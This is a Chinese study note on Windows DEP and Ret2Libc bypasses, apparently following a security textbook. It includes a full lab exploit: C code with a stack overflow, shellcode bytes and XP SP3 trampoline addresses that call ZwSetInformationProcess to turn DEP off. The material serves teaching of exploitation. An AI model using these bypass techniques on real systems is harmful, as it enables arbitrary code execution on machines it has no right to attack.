OD: DEP & Ret2Libc
Data Execution Prevention,数据执行保护,专门用来弥补计算机对数据和代码混淆这一天然缺陷。
DEP 的原理是将数据所在的内存页(默认的堆、各种堆栈页、内存池页)标记为不可执行,当试图执行不可执行页的数据时,CPU 抛出异常,转入异常处理。
MS 从 Windows XP sp2 开始支持 DEP。DEP 分为软件 DEP 和硬件 DEP,软件 DEP 即 SafeSEH。硬件 DEP 需要 CPU 的支持:AMD 和 Intel 都为此做了设计,AMD 称为 No-Execute Page-Protection (NX),Intel 称为 Execute Disable Bit (XD)。操作系统通过设置内存页的 NX/XD 标识位来进行可执行标记,NX/XD 为 0 时表示可以执行,NX/XD 为 1 时表示该页面不允许执行指令。
Windows XP 的硬件 DEP 通过启动参数来设置(boot.ini 中的 /NoExecute=<option>),<option>允许以下值:
-------------------------------------------------------------------------------------------
OptIn :用于普通用户版的 MS 系统,默认保护系统组件和服务,对其他程序不予保护。用户可以通过程序兼容性工具(ACT,Application Compatibility Tool)来为选定的程序开启硬件 DEP 保护,Vista 下经过 /NXcompat 选项编译的程序将自动开启 DEP。这种模式可被应用程序动态关闭。
OptOut:用于服务器版的 MS 系统,为白名单之外的很有程序启用 DEP 保护,这种模式也可被应用程序动态关闭。
AlwaysOn:强制 DEP。只有在 位的系统上才工作在这个模式?
AlwaysOff:禁用 DEP。
/NXcompat 编译选项是 VS 2005 之后引入的选项,默认开启。采用 /NXcompat 编译的程序会在 PE 头中设置 IMAGE_DLLCHARACTERISTICS_NX_COMPAT 标识,该标识通过结构体 IMAGE_OPTIONAL_HEADER 中的 DllCharacteristics 变量来体现:当 DllCharacteristics 设置为 0x0100 时表示程序采用了 /NXcompat 来进行编译。经过 /NXcompat 编译的程序在 Vista 及后续的 MS 系统上会自动启用 DEP 保护。
DEP 的局限性为:
一,硬件 DEP 需要 CPU 的支持,在一些比较老的 CPU 上硬件 DEP 无法发挥作用。
二,由于兼容性原因 Windows 不能对所有进程都开启 DEP 保护(如一些第三方 DLL);另外使用 ALT 7.1 或者以前版本的程序需要在数据页上产生可执行代码,这时开启 DEP 会导致程序异常。
三,DEP 工作在 OptIn 或者 OptOut 时可以通过 API 来动态控制 DEP 状态,恰好早期的 OS 对这些 API 没有任何限制,所有进程都可以调用。
攻击未启用 DEP 的进程
DEP 保护的对象是进程级的。由于兼容性问题,MS 不能对所有进程都强制 DEP(64 位系统下的 AlwaysOn 除外)。当某个进程的加载模块中只要有一个模块不支持 DEP,这个进程就不能贸然开启 DEP。在最新的系统下依然有很多程序没有启用 DEP。
利用进程中的可读写、可执行内存空间
可以将 shellcode 复制到进程中的可读写、可执行内存空间(OllyDbg 的内存视图 Map 中可以查看内存模块属性),并转入执行,书中有示例。
利用 .NET 绕过 DEP
微软在 IE6 及后续版本的浏览器中允许用户使用 .NET 控件,.NET 控件运行在浏览器进程的 sandbox 中。.NET 文件具有和 PE 文件一样的可执行属性。
书中有一个将 shellcode 放置在 .NET 文件的可执行区域中,然后利用 ActiveX 控件溢出进而执行 shellcode 的示例。
实际上,IE 中加载的控件最终都有可执行权限。书中还有一个利用 Java Applet 来代替上述的 .NET 控件达到 DEP 绕过效果的实验。
利用 Ret2Libc 来挑战 DEP
让程序跳转到一个已经存在的系统函数(必然在可执行页上)时,DEP 不会进行拦截。Ret2Libc 的原理正是如此。
Ret2Libc 是 Return to Libc 的缩写,其思路是:在可执行区域找到 shellcode 的部分替代指令,跳转到替代指令部位执行,执行完后需要有返回指令,以收回控制权,然后重复这个过程来执行下一部分 shellcode 的替代指令。简而言之就是为 shellcode 的第条指令都寻找到替代指令。这种方法理论上可行,但实际很难:就算每条指令都找到合适的替代指令,但要求每条替代指令所在的地址都不包含 0x00 是不太可能的,栈帧布置也是问题。
但在这种思路下,有三种经过改进的可以绕过 DEP 的方法:
一,通过跳转到 ZwSetInformationProcess() 将 DEP 关闭后再转入执行 shellcode。
二,通过跳转到 VirtualProtect() 将 shellcode 页面设置成可执行状态,再转入 shellcode。
三,通过跳转到 VirtualAlloc() 开辟一段具有可执行权限的内存空间,然后将 shellcode 复制到这个空间,再执行 shellcode。
Ret2Libc : ZwSetInformationProcess() 利用
进程的 DEP 设置标识保存在 KPROCESS 结构中的 _KEXECUTE_OPTIONS 上,这个标识可以通过 API 函数 ZwQueryInformationProcess() 和 ZwSetInformationProcess() 来查询和设置。(在 ntdll.dll 中 Zw*() 和 Nt*() 函数的功能是完全一样的,这里使用 NtSetInformationProcess() 也可以)。
_KEXECUTE_OPTIONS : 只要将此结构体置为 0x02 就能关闭 DEP
Pos0 ExecuteDisable : bit 进程 DEP 开启时置 1
Pos1 ExecuteEnable : bit 进程 DEP 关闭时置 1
Pos2 DisableThunkEnulation : bit 为兼容 ATL 程序设计
Pos3 Permanent : bit 置 1 之后,这些标志位都不能再被修改
Pos4 ExecuteDispatchEnable : bit
Pos5 ImageDispathEnable : bit
Pos6 Spare : bit
ZwSetInformationProcess() 的原型如下,Skape 和 Skywing 在他们的论文 Bypasing Windows Hardware-Enforced DEP 中给出了参数参考(见注释中):
ZwSetInformationProcess(
IN HANDLE ProcessHandle, 进程句柄,- 表示当前进程 // NtCurrentProcess() : -1
IN PROCESS_INFORMATION_CLASS ProcessInformationClass, 信息类 // ProcessExecuteFlags : 0x
IN PVOID ProcessInformation, 用来设置 _KEXECUTE_OPTIONS // &ExecuteFlags : ptr to 0x
IN ULONG ProcessInformationLength 第三个参数的长度 // sizeof(ExecuteFlags) : 0x04
);
这样一来,只要构造好栈帧,就能调用 ZwSetInformationProcess() 来关闭进程 DEP。但参数中有 NULL 0x00 截断符,自己构造参数会遇到麻烦。但 MS 的兼容性检查函数 LdrpCheckNXCompability() 提供了利用机会:若进程的 Permanent 位没有设置,当它加载 DLL 时,系统会对这个 DLL 进程兼容性检查,满足以下之一时系统会关闭进程的 DEP。
一,DLL 受 SafeDisc 版权保护系统保护时;
二,DLL 中包含 .aspcak、.pcle、.sforce 等字节时;
三,Windows Vista 中当 DLL 包含在以下注册表键中表明不需要启动 DEP 模块时:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions
可以利用 OllyDbg Plugin : OllyFindAddr 方便的找到系统 Windows 是如何关闭 DEP 的(见下图 Step1,Step2 - Step4 的结果对于关闭 DEP 也很有帮助):
如图,ntdll.dll(上图为 Windows XP sp3 with /NoExecute=OptIN)的 0x7C93CD24 处提供关闭 DEP 的功能,具体分析如下:
7C93CD13 PUSH EBP
7C93CD14 8BEC MOV EBP,ESP
7C93CD16 PUSH ECX
7C93CD17 FC AND DWORD PTR SS:[EBP-],
7C93CD1B PUSH ESI
7C93CD1C FF75 PUSH DWORD PTR SS:[EBP+]
7C93CD1F E8 87FFFFFF CALL ntdll.7C93CCAB // SafeDisc 检查,AL=1 表示是 SafeDisc
7C93CD24 3C CMP AL,
7C93CD26 6A PUSH
7C93CD28 5E POP ESI
7C93CD29 0F84 DF290200 JE ntdll.7C95F70E // 此跳转将 ESI 的值赋给 [EBP-4],然后返回
7C93CD2F 837D FC CMP DWORD PTR SS:[EBP-],
7C93CD33 0F85 F89A0100 JNZ ntdll.7C956831 // [EBP-4]=2,会转入关闭 DEP 流程,关闭后通过 LEAVE 调整栈帧,再以 RETN 4 返回
7C93CD39 FF75 PUSH DWORD PTR SS:[EBP+]
7C93CD3C E8 CALL ntdll.7C93CD77
7C93CD41 84C0 TEST AL,AL
7C93CD43 0F85 E09A0100 JNZ ntdll.7C956829
7C93CD49 837D FC CMP DWORD PTR SS:[EBP-],
7C93CD4D 0F85 DE9A0100 JNZ ntdll.7C956831
7C93CD53 FF75 PUSH DWORD PTR SS:[EBP+]
7C93CD56 E8 A6000000 CALL ntdll.7C93CE01 // .aspack 等字节检查
7C93CD5B 84C0 TEST AL,AL
7C93CD5D 0F85 B3290200 JNZ ntdll.7C95F716
7C93CD63 837D FC CMP DWORD PTR SS:[EBP-],
7C93CD67 0F85 C49A0100 JNZ ntdll.7C956831
以如上情况一即受 SafeDisc 版权保护需关闭 DEP 为例,只要一条指令将 AL 修改为 1,然后跳转到 0x7C93CD24 继续执行,Windows 就会关闭 DEP,之后 LEAVE 指令会调整栈帧(与 MOVE ESP,EBP; POP EBP 等价),再以 RETN 4(相当于 RETN; ADD ESP,0x04。执行后 ESP 一共增加了 0x08 字节)从关闭 DEP 的代码中返回。
OllyFindAddr 的结果中,Step 2 部分即为将 AL 修改为 1 的可选踏板地址。找一条不含 null 的系统模块地址作为踏板即可。
构造实验用的代码如下:
// dep.cpp : Defines the entry point for the console application.
//
// env
// * windows xp sp3 with /noexecute=optout
// * vs2008 with Optimization/GS/SafeSEH disabled
// add /SAFESEH:NO to project_properties - Linker - Command Line - Additional Options to disable SafeSEH #include "stdafx.h"
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h> char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 字节的弹窗 shellcode
"\x90\x90\x90\x90" // ebp
"\x52\xE2\x92\x7C" // trampolining address : mov eax 0x1; ret
"\x24\xCD\x93\x7C" // turn off DEP ( SafeDisk ), end with retn 0x4
; void test(char* input)
{
char buf[];
strcpy(buf,input);
} int main(int argc, _TCHAR* argv[])
{
LoadLibrary(_T("shell32.dll")); // more tramps for adjust ebp
test(shellcode);
return ;
}
上述代码中 test() 的返回地址被覆盖为 move eax,0x01; ret 的地址。ret 之后会回到第 28 行即关闭 DEP(SafeDisc)的地方继续执行。但关闭 DEP 过程中,需要对 ss:[ebp-4] 的位置进行写入操作,而这里 ebp 的数据已经被破坏成 nop * 4,无法写入,所以在关闭 DEP 之前还要构造可写的 ebp 地址,继续用跳板(插件 OllyFindAddr 中已经提供)。由于此时各寄存器中,只有 ESP 在可写的位置,所以只能使用 push esp, pop ebp, retn 4 作为跳板:
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 字节的弹窗 shellcode
"\x90\x90\x90\x90" // ebp
"\x52\xE2\x92\x7C" // trampolining address : mov eax 0x1; ret
"\x02\x07\x76\x7D" // tramp to adjust ebp : push esp, pop ebp, retn 4
"\x24\xCD\x93\x7C" // turn off DEP ( SafeDisk ), end with retn 0x4
但如此一来,ret 后 ebp 在 esp 的上方,栈帧畸形了,在关闭 DEP 的过程中会有数据入栈,这可能会覆盖到 ss:[ebp-4] 处的数据,进而影响传入 ZwSetInformationProcess() 的参数(关闭过程中会将 ss:[ebp-4] 处的数值 0x02 作为这个函数的参数压栈),导致关闭失败。将 shellcode 修改为上述形式后,再调试关闭 DEP 过程,可以发现 DEP 还是可以关闭的,因为 ss:[ebp-4] 被 0x22 填充了,原来要求指向 0x02 的参数指针现在指向了 0x22,但 0x22 的前 4 位和 0x02 是一样的,而关闭 DEP 只需要用到 _KEXECUTE_OPTIONS 结构体的前 4 位。但问题又出现了,关闭 DEP 后的返回地址被覆盖成了 ZwSetInformationProcess() 的参数 0x04,现在失去了对程序的控制权!
为了重新得到程序的控制权,这里的变通方法为:增加 esp 的值,使关闭 DEP 的过程不会破坏 shellcode。这里修改 esp 时不能直接对 esp 进行操作,否则还是会失去控制权,需要用诸如 retn n 的指令(先 ret 再 add esp n)。这里再次使用 OllyFindAddr - Find POP RETN+N - POP 数为 0,N 为 0x28:
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 字节的弹窗 shellcode
"\x90\x90\x90\x90" // ebp
"\x52\xE2\x92\x7C" // trampolining address : mov eax 0x1; ret
"\x02\x07\x76\x7D" // tramp to adjust ebp : push esp, pop ebp, retn 4
"\x6C\xD2\x92\x7C" // tramp to adjust esp : retn 0x28
"\x90\x90\x90\x90" // slide nops for adjust ebp
"\x24\xCD\x93\x7C" // turn off DEP ( SafeDisk ), end with retn 0x4
;
在执行 0x7C92D26C 处的 retn 0x28 时,会先 retn 到 0x7C93CD24 处的关闭 DEP 流程,接着 add esp 0x28,然后转入关闭 DEP 流程。经过调试可以发现,关闭 DEP 后程序会用 LEAVE 重新调整栈帧,调整后 ESP 又会指向 EBP 的位置,在这里实际上 ESP 的值又减小了,回到了 shellcode 的尾部。
ESP 回到 shellcode 的尾部后,只要用 jmp esp 就可以将 EIP 指向栈帧中了,接着用一条回跳指令,转入 shellcode 执行即可:
// dep.cpp : Defines the entry point for the console application.
//
// env
// * windows xp sp3 with /noexecute=optout
// * vs2008 with Optimization/GS/SafeSEH disabled
// add /SAFESEH:NO to project_properties - Linker - Command Line - Additional Options to disable SafeSEH #include "stdafx.h"
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h> char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 字节的弹窗 shellcode
"\x90\x90\x90\x90" // ebp
"\x52\xE2\x92\x7C" // trampolining address : mov eax 0x1; ret
"\x02\x07\x76\x7D" // tramp to adjust ebp : push esp, pop ebp, retn 4
"\x6C\xD2\x92\x7C" // tramp to adjust esp : retn 0x28
"\xFF\xB9\xD3\x7D" // slide nops for adjust ebp & jmp esp
"\x24\xCD\x93\x7C" // turn off DEP ( SafeDisk ), end with leave; retn 0x4
"\xE9\x3B\xFF\xFF\xFF" // jump back 197 bytes
; void test(char* input)
{
char buf[];
strcpy(buf,input);
} int main(int argc, _TCHAR* argv[])
{
LoadLibrary(_T("shell32.dll")); // more tramps for adjust ebp
test(shellcode);
return ;
}
这个实验中,用到了一些新的技巧,包括:
1. 修改寄存器状态,欺骗系统函数关闭 DEP
2. 调用系统函数的过程中,通过跳板、retn等调整寄存器数值(ebp、esp)以保证函数正常执行的变通技巧
实际高度代码并关注寄存器的变化十分重要!
需要注意的是,MS 在 2003 sp2 之后调整了 LdrpCheckNXCompatibility(),该函数执行时会对 ESI 附近的内存进行操作,这就要保证 ESI 附近的内存可读写,可以参照上文调整 EBP 的方法,用 push esp, pop esi, retn 来调整 esi,OllyFindAddr 中的 Step 4 会搜寻这类指令。但考虑到这类指令很难找,书中提供了一个变通的方法:
. 找一条 pop eax, retn 指令作跳板来执行
. 执行 中的踏板时,找一条 pop esi, retn 指令,将这条指令的地址放置在栈顶(将地址保存到 eax 中)
. 找一条 push esp, jmp eax 指令作跳板跟在 之后执行
如上的方法等价于执行 push esp, pop esi, retn(书中提供了一个在 Windows 2003 sp2 中的实验代码)。
OD: DEP & Ret2Libc的更多相关文章
- OD: DEP - Ret2Libc via VirtualProtect() & VirtualAlloc()
一,通过 VirutalProtect() 修改内存属性绕过 DEP DEP 的四种工作模式中,OptOut 和 AlwaysOn 下所有进程默认都开启 DEP 保护,这里如果一个程序自身需要从堆栈中 ...
- BZOJ3924——[Zjoi2015]幻想乡战略游戏
0.题意:动态维护带权中心 1.分析:妈的,这题做了一天,mdzzzzzzzzzzzzzzzzzz-.. 这个题是边权,我们首先要将边权转化成点权... 我们维护一个分支结构中到根的距离和,一个分支结 ...
- Linux下利用Ret2Libc绕过DEP
Linux下利用Ret2Libc绕过DEP ⑴. 原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以 ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数
利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴. 原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数
1. DEP内存保护机制 1.1 DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...
- Ret2Libc 练习(1) -- ZwSetInformationProcess
花了两个小半晚上的时间将0day安全这本书的绕过DEP的第一个实验做了,这里做些笔记. Ret2libc 我现在自己的理解就是在开启DEP保护的情况下,在程序的其他的可执行位置找到可以满足我利用要求的 ...
- ASLR/DEP绕过技术概览
在经典的栈溢出模型中,通过覆盖函数的返回地址来达到控制程序执行流程(EIP寄存器),通常将返回地址覆盖为0x7FFA4512,这个地址是一条JMP ESP指令,在函数返回时就会跳转到这个地址去执行,也 ...
- safeseh+dep保护绕过
[文章作者] :h_one [漏洞程序名称]:mplayer.exe [漏洞类型] :缓冲区溢出 [保护方式] :safeseh+dep [操作平台] ...
- 20155306 白皎 0day漏洞——漏洞利用原理之DEP
20155306 白皎 0day漏洞--漏洞利用原理之DEP 一.DEP机制的保护原理 1.为什么出现DEP? 溢出攻击的根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计 ...
随机推荐
- 疯狂学习java web2(css)
CSS应该是样式描述的意思,定义如下: 什么是 CSS? CSS 指层叠样式表 (Cascading Style Sheets) 样式定义如何显示 HTML 元素 样式通常存储在样式表中 把样式添加到 ...
- 自己总结python用xlrd\xlwt读写excel
1.首先安装xlrd\xlwt模块 xlrd模块下载地址: https://pypi.python.org/pypi/xlrd xlwt模块下载地址: https://pypi.python.org/ ...
- java中加载xml文件方法
this.getclass().getclassloader().getresourceasstream(String file); 可以加载文件,比如xml.
- 12100 Printer Queue(优先队列)
12100 Printer Queue12 The only printer in the computer science students’ union is experiencing an ex ...
- codeforces 235 B. Let's Play Osu!
You're playing a game called Osu! Here's a simplified version of it. There are n clicks in a game. F ...
- javascript language
function class(function, this, prototype) closure与function expression没有任何关系. closure必然与function联系在一起 ...
- KEIL C51中的_at_关键字
绝对位置变量 变量可以在你的C程序中的绝对内存地址位于源模块使用_at_关键字.此功能的用法是: 类型 _ memory_space _ 变量名 _at _ 常数 ; 其中:memory_space ...
- android:ListView的局部刷新
1.简介 对于android中的ListView刷新机制,大多数的程序员都是很熟悉的,修改或者添加adapter中的数据源之后,然后调用notifyDataSetChanged()刷新ListView ...
- 《how to design programs》13章用list构造表
使用cons构造一个包含多个元素的表十分麻烦,因此scheme提供了list操作,该操作接受任意量的值作为输入以创建一个表,下面是扩展的语法: <prm>=list 扩展的scheme值的 ...
- 编写高质量js代码
原文链接:http://code.tutsplus.com/tutorials/24-javascript-best-practices-for-beginners--net-5399 jquery代 ...